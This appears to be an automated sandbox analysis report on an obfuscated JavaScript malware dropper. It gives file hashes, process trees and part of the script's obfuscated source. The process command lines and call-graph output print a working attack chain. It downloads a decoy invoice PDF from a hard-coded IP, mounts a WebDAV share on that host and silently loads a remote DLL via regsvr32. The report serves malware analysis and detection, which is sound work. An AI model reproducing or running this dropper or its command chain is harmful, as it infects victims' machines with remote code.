SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ISO-8859 text, with very long lines (3486), with CRLF, CR line terminators
Category:	dropped
Size (bytes):	14456
Entropy (8bit):	4.2098179599164975
Encrypted:	false
SSDEEP:	192:gcPqYV/saFlwwR+kMqe8TlZMX1sgUVa3ddMVsuNeMcGdSD9obOUAVlcMudM/Y14e:g7Q/X4kMb0lZ6mgtdHOelGdWaolvsTZ
MD5:	32FCA302C8B872738373D7CCB1E75FD4
SHA1:	DA85FAF24ED0ECFD5D69CCFD6286D8B77D7EB4F1
SHA-256:	CD0DD26304B88C20801FE80B33C49C009E2E5D4411B5D7F83252E1D90CD461C6
SHA-512:	57F8CC85FAFB15455074431216E47433E50DF5DE74ED74C395B7FF2C433DB7CE06F0A1C1FE1EFDC17229DBC33325D559789F43901556DD1A12963B94F01D5A1F
Malicious:	false
Preview:	%PPKLITE-2.1.%......1 0 obj.<</PPK<</AddressBook<</Entries[2 0 R 3 0 R 4 0 R 5 0 R 6 0 R]/NextID 1006/Type/AddressBook>>/Type/PPK/User<</Type/User>>/V 65537>>/Type/Catalog>>.endobj.2 0 obj.<</ABEType 1/Cert<308204A130820389A00302010202043E1CBD28300D06092A864886F70D01010505003069310B300906035504061302555331233021060355040A131A41646F62652053797374656D7320496E636F72706F7261746564311D301B060355040B131441646F6265205472757374205365727669636573311630140603550403130D41646F626520526F6F74204341301E170D3033303130383233333732335A170D3233303130393030303732335A3069310B300906035504061302555331233021060355040A131A41646F62652053797374656D7320496E636F72706F7261746564311D301B060355040B131441646F6265205472757374205365727669636573311630140603550403130D41646F626520526F6F7420434130820122300D06092A864886F70D01010105000382010F003082010A0282010100CC4F5484F7A7A2E733537F3F9C12886B2C9947677E0F1EB9AD1488F9C310D81DF0F0D59F690A2F5935B0CC6CA94C9C15A09FCE20BFA0CF54E2E02066453F3986387E9CC48E0722C624F60112B035DF55EA6990B

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17818), with CRLF line terminators
Entropy (8bit):	4.926884792540348
TrID:
File name:	72382724245064961.js
File size:	21'321 bytes
MD5:	e06ca508d0644ec9dd72f343b6c91d7f
SHA1:	a4996c12aeaace5365f1a3769aa3e279cfb558a1
SHA256:	1851f9de0b3a9ef69ba8da3de73944370205ec0aad13cbbb7954f768908db495
SHA512:	c53bf71188f8657acf53b71d72ddbb4774093ad7ec2671b18fee1d540da18079b36621be52f72ca50f5edc4667ff2598f26ba2bb33908dde0f305d05f38e204c
SSDEEP:	192:CmhfmhSiETauGIGuuYPmDETIaJHQotzqO4xAPV2V/T/v7sJKKRIdRJYJzrkWUQ77:2E2uGjWILotzGVTjrxLhNZNc
TLSH:	53A296C6FA04DB5381E01BF886E724BFF4D44F8BFD168042554285E5EA424ABB9F42F9
File Content Preview:	function uvpvhrfbs(){csviw=[1031,3079,5127,4103,2055,3072];var odfmdtoj=this[xcezrh+vexwojos+slmat+iqryzpe+oxuxg+drhnikfzg+fnmts+jsjzmzstj](this[nzmbskkw+avepuu+kanwelh+slmat+deqvjowcd+xcezrh+jsjzmzstj][leykm+slmat+oxuxg+vexwojos+jsjzmzstj+oxuxg+cguroaec+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	21:57:49
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\72382724245064961.js"
Imagebase:	0x7ff7336b0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:57:50
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll
Imagebase:	0x7ff7b7360000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:57:50
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:57:50
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:57:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:57:54
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7b7360000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:57:54
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff674320000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:57:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:57:55
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:57:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1620,i,1784750891240737893,1618069011542900297,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function uvpvhrfbs() {	uvpvhrfbs() ➔ undefined
1	csviw = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var odfmdtoj = this[xcezrh + vexwojos + slmat + iqryzpe + oxuxg + drhnikfzg + fnmts + jsjzmzstj] ( this[nzmbskkw + avepuu + kanwelh + slmat + deqvjowcd + xcezrh + jsjzmzstj][leykm + slmat + oxuxg + vexwojos + jsjzmzstj + oxuxg + cguroaec + xiphejzrm + yufdlvrvr + oxuxg + kanwelh + jsjzmzstj] ( nzmbskkw + avepuu + kanwelh + slmat + deqvjowcd + xcezrh + jsjzmzstj + lupfjtof + avepuu + jpnqff + oxuxg + septyae + septyae ) [qjiazssb + oxuxg + axxcdcj + qjiazssb + oxuxg + vexwojos + rwlfvrihu] ( qdzrebv + bhpmyjcvq + ahxfw + froepymu + xvlgzat + leykm + pyoaao + qjiazssb + qjiazssb + ahxfw + rnrhrhw + ujypgezr + xvlgzat + pyoaao + avepuu + ahxfw + qjiazssb + tbbtwblk + leykm + duvgopvhz + fnmts + jsjzmzstj + slmat + duvgopvhz + septyae + ixzas + vfewbnhk + vexwojos + fnmts + oxuxg + septyae + tbbtwblk + drhnikfzg + fnmts + jsjzmzstj + oxuxg + slmat + fnmts + vexwojos + jsjzmzstj + deqvjowcd + duvgopvhz + fnmts + vexwojos + septyae + tbbtwblk + armogou + duvgopvhz + kanwelh + vexwojos + septyae + oxuxg ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( pqtkwvlaj = 0 ; pqtkwvlaj < csviw[septyae + oxuxg + fnmts + axxcdcj + jsjzmzstj + jpnqff] ; ++ pqtkwvlaj )
4	{
5	if ( odfmdtoj == csviw[pqtkwvlaj] )
6	{
7	odfmdtoj = true;
8	break ;
9	}
10	}
11	if ( odfmdtoj !== true )
12	this[nzmbskkw + avepuu + kanwelh + slmat + deqvjowcd + xcezrh + jsjzmzstj][hnqgvvny + wkkbrau + deqvjowcd + jsjzmzstj] ( );
13	this[nzmbskkw + avepuu + kanwelh + slmat + deqvjowcd + xcezrh + jsjzmzstj][leykm + slmat + oxuxg + vexwojos + jsjzmzstj + oxuxg + cguroaec + xiphejzrm + yufdlvrvr + oxuxg + kanwelh + jsjzmzstj] ( nzmbskkw + avepuu + kanwelh + slmat + deqvjowcd + xcezrh + jsjzmzstj + lupfjtof + avepuu + jpnqff + oxuxg + septyae + septyae ) [slmat + wkkbrau + fnmts] ( kanwelh + ivhmuy + rwlfvrihu + ixzas + ghenzjocy + kanwelh + ixzas + xcezrh + duvgopvhz + ydwhfoig + oxuxg + slmat + iqryzpe + jpnqff + oxuxg + septyae + septyae + lupfjtof + oxuxg + rcdfed + oxuxg + ixzas + cvwubwslg + leykm + duvgopvhz + ivhmuy + ivhmuy + vexwojos + fnmts + rwlfvrihu + ixzas + monumgxxf + drhnikfzg + fnmts + edaqa + duvgopvhz + kwovvfd + oxuxg + cvwubwslg + nzmbskkw + oxuxg + xiphejzrm + qjiazssb + oxuxg + kobfhp + wkkbrau + oxuxg + iqryzpe + jsjzmzstj + ixzas + cvwubwslg + cguroaec + wkkbrau + jsjzmzstj + auuwalf + deqvjowcd + septyae + oxuxg + ixzas + uqtzpod + jsjzmzstj + oxuxg + ivhmuy + xcezrh + uqtzpod + tbbtwblk + deqvjowcd + fnmts + edaqa + duvgopvhz + deqvjowcd + kanwelh + oxuxg + lupfjtof + xcezrh + rwlfvrihu + kblhknudz + ixzas + jpnqff + jsjzmzstj + jsjzmzstj + xcezrh + ywhglpfy + ghenzjocy + ghenzjocy + htuyfq + xjgtkkzd + ckvalm + lupfjtof + htuyfq + qwxlxea + ckvalm + lupfjtof + htuyfq + lupfjtof + uipatkn + tzrnvux + qerfgejtz + ghenzjocy + deqvjowcd + fnmts + edaqa + duvgopvhz + deqvjowcd + kanwelh + oxuxg + lupfjtof + xcezrh + jpnqff + xcezrh + monumgxxf + zwcnwjay + zwcnwjay + iqryzpe + jsjzmzstj + vexwojos + slmat + jsjzmzstj + ixzas + uqtzpod + jsjzmzstj + oxuxg + ivhmuy + xcezrh + uqtzpod + tbbtwblk + deqvjowcd + fnmts + edaqa + duvgopvhz + deqvjowcd + kanwelh + oxuxg + lupfjtof + xcezrh + rwlfvrihu + kblhknudz + zwcnwjay + zwcnwjay + kanwelh + ivhmuy + rwlfvrihu + ixzas + ghenzjocy + kanwelh + ixzas + fnmts + oxuxg + jsjzmzstj + ixzas + wkkbrau + iqryzpe + oxuxg + ixzas + tbbtwblk + tbbtwblk + htuyfq + xjgtkkzd + ckvalm + lupfjtof + htuyfq + qwxlxea + ckvalm + lupfjtof + htuyfq + lupfjtof + uipatkn + tzrnvux + qerfgejtz + aolwprlwj + xdqjdyx + xdqjdyx + xdqjdyx + xdqjdyx + tbbtwblk + rwlfvrihu + vexwojos + edaqa + ydwhfoig + ydwhfoig + ydwhfoig + slmat + duvgopvhz + duvgopvhz + jsjzmzstj + tbbtwblk + zwcnwjay + zwcnwjay + kanwelh + ivhmuy + rwlfvrihu + ixzas + ghenzjocy + kanwelh + ixzas + slmat + oxuxg + axxcdcj + iqryzpe + edaqa + slmat + ckvalm + uipatkn + ixzas + ghenzjocy + iqryzpe + ixzas + tbbtwblk + tbbtwblk + htuyfq + xjgtkkzd + ckvalm + lupfjtof + htuyfq + qwxlxea + ckvalm + lupfjtof + htuyfq + lupfjtof + uipatkn + tzrnvux + qerfgejtz + aolwprlwj + xdqjdyx + xdqjdyx + xdqjdyx + xdqjdyx + tbbtwblk + rwlfvrihu + vexwojos + edaqa + ydwhfoig + ydwhfoig + ydwhfoig + slmat + duvgopvhz + duvgopvhz + jsjzmzstj + tbbtwblk + htuyfq + qwxlxea + qerfgejtz + qerfgejtz + ljibp + qwxlxea + tzrnvux + htuyfq + tzrnvux + uipatkn + tzrnvux + tzrnvux + lupfjtof + rwlfvrihu + septyae + septyae, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll",0,false) ➔ 0
14	}
15	slmat = "B";
16	slmat = "n";
17	slmat = "M";
18	slmat = "T";
19	slmat = "O";
20	slmat = "N";
21	slmat = "C";
22	slmat = "Y";
23	slmat = "L";
24	slmat = "N";
25	slmat = "R";
26	slmat = "W";
27	slmat = "j";
28	slmat = "e";
29	slmat = "a";
30	slmat = "C";
31	slmat = "i";
32	slmat = "G";
33	slmat = "v";
34	slmat = "Y";
35	slmat = "Z";
36	slmat = "n";
37	slmat = "k";
38	slmat = "x";
39	slmat = "u";
40	slmat = "r";
41	iqryzpe = "b";
42	iqryzpe = "w";
43	iqryzpe = "h";
44	iqryzpe = "b";
45	iqryzpe = "l";
46	iqryzpe = "D";
47	iqryzpe = "g";
48	iqryzpe = "h";
49	iqryzpe = "D";
50	iqryzpe = "B";
51	iqryzpe = "F";
52	iqryzpe = "I";
53	iqryzpe = "K";
54	iqryzpe = "H";
55	iqryzpe = "r";
56	iqryzpe = "l";
57	iqryzpe = "n";
58	iqryzpe = "g";
59	iqryzpe = "e";
60	iqryzpe = "G";
61	iqryzpe = "G";
62	iqryzpe = "n";
63	iqryzpe = "Y";
64	iqryzpe = "f";
65	iqryzpe = "T";
66	iqryzpe = "r";
67	iqryzpe = "E";
68	iqryzpe = "m";
69	iqryzpe = "u";
70	iqryzpe = "u";
71	iqryzpe = "c";
72	iqryzpe = "s";
73	iqryzpe = "s";
74	septyae = "o";
75	septyae = "B";
76	septyae = "P";
77	septyae = "s";
78	septyae = "l";
79	lupfjtof = "Q";
80	lupfjtof = "h";
81	lupfjtof = "m";
82	lupfjtof = "o";
83	lupfjtof = "h";
84	lupfjtof = "R";
85	lupfjtof = "O";
86	lupfjtof = "E";
87	lupfjtof = "K";
88	lupfjtof = "a";
89	lupfjtof = "T";
90	lupfjtof = "u";
91	lupfjtof = "x";
92	lupfjtof = "S";
93	lupfjtof = "q";
94	lupfjtof = "D";
95	lupfjtof = ".";
96	qerfgejtz = "s";
97	qerfgejtz = "z";
98	qerfgejtz = "N";
99	qerfgejtz = "I";
100	qerfgejtz = "F";
101	qerfgejtz = "P";
102	qerfgejtz = "s";
103	qerfgejtz = "p";
104	qerfgejtz = "P";
105	qerfgejtz = "V";
106	qerfgejtz = "i";
107	qerfgejtz = "w";
108	qerfgejtz = "m";
109	qerfgejtz = "A";
110	qerfgejtz = "D";
111	qerfgejtz = "c";
112	qerfgejtz = "h";
113	qerfgejtz = "Z";
114	qerfgejtz = "x";
115	qerfgejtz = "5";
116	avepuu = "r";
117	avepuu = "o";
118	avepuu = "W";
119	avepuu = "U";
120	avepuu = "F";
121	avepuu = "E";
122	avepuu = "U";
123	avepuu = "a";
124	avepuu = "r";
125	avepuu = "d";
126	avepuu = "z";
127	avepuu = "E";
128	avepuu = "P";
129	avepuu = "s";
130	avepuu = "H";
131	avepuu = "M";
132	avepuu = "o";
133	avepuu = "e";
134	avepuu = "Q";
135	avepuu = "m";
136	avepuu = "h";
137	avepuu = "Y";
138	avepuu = "W";
139	avepuu = "S";
140	kanwelh = "f";
141	kanwelh = "z";
142	kanwelh = "i";
143	kanwelh = "K";
144	kanwelh = "H";
145	kanwelh = "I";
146	kanwelh = "d";
147	kanwelh = "L";
148	kanwelh = "K";
149	kanwelh = "x";
150	kanwelh = "W";
151	kanwelh = "B";
152	kanwelh = "t";
153	kanwelh = "S";
154	kanwelh = "I";
155	kanwelh = "K";
156	kanwelh = "r";
157	kanwelh = "b";
158	kanwelh = "z";
159	kanwelh = "O";
160	kanwelh = "p";
161	kanwelh = "p";
162	kanwelh = "y";
163	kanwelh = "I";
164	kanwelh = "e";
165	kanwelh = "X";
166	kanwelh = "E";
167	kanwelh = "d";
168	kanwelh = "s";
169	kanwelh = "l";
170	kanwelh = "k";
171	kanwelh = "c";
172	kanwelh = "v";
173	kanwelh = "k";
174	kanwelh = "D";
175	kanwelh = "e";
176	kanwelh = "i";
177	kanwelh = "c";
178	kanwelh = "I";
179	kanwelh = "i";
180	kanwelh = "P";
181	kanwelh = "j";
182	kanwelh = "x";
183	kanwelh = "E";
184	kanwelh = "c";
185	pyoaao = "T";
186	pyoaao = "p";
187	pyoaao = "k";
188	pyoaao = "J";
189	pyoaao = "m";
190	pyoaao = "c";
191	pyoaao = "g";
192	pyoaao = "U";
193	fnmts = "j";
194	fnmts = "Z";
195	fnmts = "a";
196	fnmts = "L";
197	fnmts = "w";
198	fnmts = "c";
199	fnmts = "o";
200	fnmts = "v";
201	fnmts = "S";
202	fnmts = "S";
203	fnmts = "b";
204	fnmts = "a";
205	fnmts = "p";
206	fnmts = "U";
207	fnmts = "F";
208	fnmts = "f";
209	fnmts = "c";
210	fnmts = "b";
211	fnmts = "D";
212	fnmts = "I";
213	fnmts = "k";
214	fnmts = "w";
215	fnmts = "I";
216	fnmts = "d";
217	fnmts = "n";
218	fnmts = "F";
219	fnmts = "d";
220	fnmts = "s";
221	fnmts = "F";
222	fnmts = "g";
223	fnmts = "d";
224	fnmts = "m";
225	fnmts = "I";
226	fnmts = "n";
227	bhpmyjcvq = "g";
228	bhpmyjcvq = "d";
229	bhpmyjcvq = "D";
230	bhpmyjcvq = "P";
231	bhpmyjcvq = "j";
232	bhpmyjcvq = "a";
233	bhpmyjcvq = "L";
234	bhpmyjcvq = "R";
235	bhpmyjcvq = "I";
236	bhpmyjcvq = "n";
237	bhpmyjcvq = "b";
238	bhpmyjcvq = "K";
239	bhpmyjcvq = "y";
240	bhpmyjcvq = "E";
241	bhpmyjcvq = "X";
242	bhpmyjcvq = "W";
243	bhpmyjcvq = "u";
244	bhpmyjcvq = "p";
245	bhpmyjcvq = "C";
246	bhpmyjcvq = "M";
247	bhpmyjcvq = "A";
248	bhpmyjcvq = "g";
249	bhpmyjcvq = "n";
250	bhpmyjcvq = "Q";
251	bhpmyjcvq = "Y";
252	bhpmyjcvq = "c";
253	bhpmyjcvq = "n";
254	bhpmyjcvq = "P";
255	bhpmyjcvq = "y";
256	bhpmyjcvq = "I";
257	bhpmyjcvq = "a";
258	bhpmyjcvq = "T";
259	bhpmyjcvq = "O";
260	bhpmyjcvq = "q";
261	bhpmyjcvq = "x";
262	bhpmyjcvq = "h";
263	bhpmyjcvq = "E";
264	bhpmyjcvq = "G";
265	bhpmyjcvq = "W";
266	bhpmyjcvq = "I";
267	bhpmyjcvq = "y";
268	bhpmyjcvq = "b";
269	bhpmyjcvq = "g";
270	bhpmyjcvq = "K";
271	nzmbskkw = "k";
272	nzmbskkw = "W";
273	nzmbskkw = "h";
274	nzmbskkw = "d";
275	nzmbskkw = "o";
276	nzmbskkw = "W";
277	nzmbskkw = "n";
278	nzmbskkw = "h";
279	nzmbskkw = "c";
280	nzmbskkw = "p";
281	nzmbskkw = "J";
282	nzmbskkw = "G";
283	nzmbskkw = "K";
284	nzmbskkw = "L";
285	nzmbskkw = "C";
286	nzmbskkw = "f";
287	nzmbskkw = "p";
288	nzmbskkw = "p";
289	nzmbskkw = "U";
290	nzmbskkw = "E";
291	nzmbskkw = "w";
292	nzmbskkw = "s";
293	nzmbskkw = "U";
294	nzmbskkw = "j";
295	nzmbskkw = "E";
296	nzmbskkw = "L";
297	nzmbskkw = "p";
298	nzmbskkw = "i";
299	nzmbskkw = "r";
300	nzmbskkw = "l";
301	nzmbskkw = "W";
302	rnrhrhw = "Z";
303	rnrhrhw = "w";
304	rnrhrhw = "x";
305	rnrhrhw = "g";
306	rnrhrhw = "c";
307	rnrhrhw = "V";
308	rnrhrhw = "P";
309	rnrhrhw = "W";
310	rnrhrhw = "e";
311	rnrhrhw = "l";
312	rnrhrhw = "w";
313	rnrhrhw = "I";
314	rnrhrhw = "A";
315	rnrhrhw = "M";
316	rnrhrhw = "T";
317	rnrhrhw = "v";
318	rnrhrhw = "z";
319	rnrhrhw = "b";
320	rnrhrhw = "s";
321	rnrhrhw = "a";
322	rnrhrhw = "D";
323	rnrhrhw = "P";
324	rnrhrhw = "w";
325	rnrhrhw = "I";
326	rnrhrhw = "o";
